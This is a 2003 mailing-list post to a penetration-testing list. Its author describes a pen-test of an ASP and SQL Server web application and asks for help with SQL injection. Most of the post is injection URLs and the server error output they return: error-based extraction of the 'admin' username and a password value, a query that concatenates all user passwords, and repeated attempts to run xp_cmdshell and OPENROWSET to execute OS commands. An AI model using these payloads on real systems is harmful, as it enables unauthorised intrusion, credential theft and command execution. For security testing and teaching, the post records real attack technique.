SQL Injection ASP + SQL Server (problem) ?!

sekure_at_hadrion.com.br
Date: 07/28/03

  • Next message: Cox, Michael: "OSSTM Training/Certification" 
    To: pen-test@securityfocus.com
Date: Mon, 28 Jul 2003 10:11:54 -0300 (BRT)

    Hi,

    I'm doing a pen-test in a WebServer running Win2K + IIS + ASP + SQL
    Server (filtred for internet connections).

    The IIS appear to be very well patched. I'm trying SQL Injection. :)

    I found a bug in ASP Script... see:

    http://www.server.com/portal/index.asp?local=read&id_notice=(select%20min(user)%20from%20users)%20--

    I received the name of the min(user) in users tables, see:

    Technical Information (for support personnel)

    Error Type:
    Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
    the nvarchar value 'admin' to a column of data type int.

    The username is "admin". Now i want to know the password of "admin" i
    tryed:

    http://www.server.com/portal/index.asp?local=read&id_notice=(select%20pass%20from%20users%20where%20user='admin')%20--

    But i received it:

    Error Type:
    Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
    [Microsoft][ODBC SQL Server Driver][SQL Server]Subquery returned more
    than 1 value. This is not permitted when the subquery follows =, !=,
    <, <= , >, >= or when the subquery is used as an expression.

    1 - Someone know how to do it return more than 1 value ?? can give-me
    a example ?

    I tryed it too:

    http://www.server.com/portal/index.asp?local=read&id_notice=(select%20min(pass)%20from%20users%20where%20user='admin')%20--

    And i receive it:

    Error Type:
    Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
    the varchar value '{0049-0096-0145-0200-0246-0288-0365-0392-0289-0320-0353-0384-0417-0448-0481-0512-0545-0576-0609-0640}'
    to a column of data type int.

    2 - But it isn't a "password", it appear be a registry key. Someone
    know what is it ?? And how to do it work and see the password ? :)

    3 - I tryed to create a SQL Transaction like this:

    http://www.server.com/portal/index.asp?local=read&id_noticia=";%20begin%20declare%20@ret%20varchar(8000)%20set%20@ret=':'%20select%20@ret=@ret+'%20+user+'/'+senha%20from%20users%20where%20user>@ret%20select%20@ret%20as%20ret%20into%20alluser%20end%20--

    I receive it:

    Error Type:
    Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
    [Microsoft][ODBC SQL Server Driver][SQL Server]The identifier that
    starts with '; begin declare @ret varchar(8000) set @ret=':' select
    @ret=@ret '  user '/' senha from users where user>@ret select @ret
    as' is too long. Maximum length is 128.

    Someone know why i received this error ?? I overfflowed the sized
    allowed in paramter by variable in ASP ? or in SQL Server ? How to do
    it work ?? :)

    4 - My last doubt. I tryed execute commands with xp_cmdshell.. see:

    http://www.server.com/portal/index.asp?local=read&id_notice=0';EXEC+master..xp_cmdshell(cmd.exe+/c)--

    and receive:

    Error Type:
    Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
    [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark
    before the character string ';EXEC master..xp_cmdshell(cmd.exe /c)--'.

    OR:

    http://www.server.com/portal/index.asp?local=read&id_notice=1';EXEC%20master.dbo.xp_cmdshell'cmd.exe%20dir%20c:'--

    Error Type:
    Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
    [Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect
    syntax near ';EXEC master.dbo.xp_cmdshell'.

    OR using quotes:

    http://www.server.com/portal/index.asp?local=read&id_notice=1`;EXEC%20master.dbo.xp_cmdshell'cmd.exe%20dir%20c:'--

    Error Type:
    Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
    [Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect
    syntax near '`'.

    And tryed too (use the bug to exec xp_cmdshell stored procedure with a
    non privilegied user):

    http://www.server.com/portal/index.asp?local=read&id_notice=";(SELECT%20*%20FROM%0OPENROWSET'SQLOLEDB','Trusted_Connection=Yes;DataSource=MY_SERVER','SET%20FMTONLY%20OFF%20execute%20master..xp_cmdshell%20"dir%20c:\"'))--

    I receive ... again the error:

    Error Type:
    Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
    [Microsoft][ODBC SQL Server Driver][SQL Server]The identifier that
    starts with ';(SELECT * FROM
    OPENROWSET('SQLOLEDB','Trusted_Connection=Yes;DataSource=MY_SERVER','SET
    FMTONLY OFF execute master..xp_cmdshell' is too long. Maximum length
    is 128.

    If i try:

    http://www.server.com/portal/index.asp?local=read&id_notice=(SELECT%20*%20FROM%0OPENROWSET'SQLOLEDB','Trusted_Connection=Yes;DataSource=MY_SERVER','SET%20FMTONLY%20OFF%20execute%20master..xp_cmdshell%20"dir%20c:\"'))--

    I receive:

    Error Type:
    Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
    [Microsoft][ODBC SQL Server Driver][SQL Server]Could not create an
    instance of OLE DB provider 'SQLOLEDB'.

    What i'm doing wrong ?? How to do it work ??

    Thkz a lot.

    Best Regards.

    [ ]'s

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